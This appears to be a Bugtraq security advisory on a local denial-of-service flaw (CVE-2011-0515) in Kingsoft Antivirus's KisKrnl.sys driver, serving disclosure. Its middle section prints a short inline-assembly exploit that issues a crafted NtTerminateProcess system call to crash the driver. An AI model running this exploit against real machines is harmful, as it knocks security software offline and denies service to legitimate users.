Kingsoft Antivirus 'KisKrnl.sys' Driver Denial of Service Vulnerability

Bugtraq ID:	45821
Class:	Design Error
CVE:	CVE-2011-0515
Remote:	No
Local:	Yes
Published:	Jan 16 2011 12:00AM
Updated:	Apr 13 2015 09:02PM
Credit:	MJ0011
Vulnerable:	Kingsoft Kingsoft Antivirus 2011.1.13 89
Not Vulnerable:

Kingsoft Antivirus 'KisKrnl.sys' Driver Denial of Service Vulnerability

Kingsoft Antivirus is prone to a denial-of-service vulnerability.

Exploits will cause the application to crash, denying service to legitimate users.

Kingsoft Antivirus versions 2011 SP5.2 2011.1.13.89 and prior are vulnerable.

Kingsoft Antivirus 'KisKrnl.sys' Driver Denial of Service Vulnerability

The following exploit code is available:

__asm
{
mov edx , 0x80000000
mov eax , 0x101 ;id of NtTerminateProcess under Windows XP
int 0x2e
}

Kingsoft Antivirus 'KisKrnl.sys' Driver Denial of Service Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Kingsoft Antivirus 'KisKrnl.sys' Driver Denial of Service Vulnerability

References:

• Kingsoft Antivirus Homepage (Beijing Kingsoft)